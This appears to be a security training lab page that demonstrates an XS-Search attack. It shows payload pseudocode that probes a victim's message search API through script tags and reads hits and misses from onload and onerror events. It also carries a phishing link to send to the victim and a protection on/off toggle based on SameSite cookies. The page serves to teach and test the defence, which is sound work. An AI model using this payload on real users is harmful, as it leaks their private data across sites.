Attack 1 β XS-Search via Error Events
The payload loads each keyword as a <script src="β¦"> pointing at the victim API.
HTTP 200 fires onload (HIT). HTTP 404/401 fires onerror (MISS / blocked).
How it works
Payload running in Alice's browser at https://attacker.ssc-primesec.de:
for each keyword:
const s = document.createElement('script')
s.src = 'https://intravault.ssc-primesec.de/api/messages/search?q=bonus'
β³ cookie is NOT sent (cross-site + SameSite=Lax) when PROTECTED
β³ server skips cookie check when VULNERABLE
s.onload = () => report('HIT') β HTTP 200
s.onerror = () => report('MISS') β HTTP 404 (no match) or 401 (no cookie)
π Phishing link β send this to Alice
https://attacker.ssc-primesec.de/payload/1
β Open as Alice
Alice must be logged in at intravault.test:3000.
If victim protection is π’ ON β attack fails. If π΄ OFF β attack succeeds.
π‘ Live results β waiting for Alice's browser
Waiting for payload to executeβ¦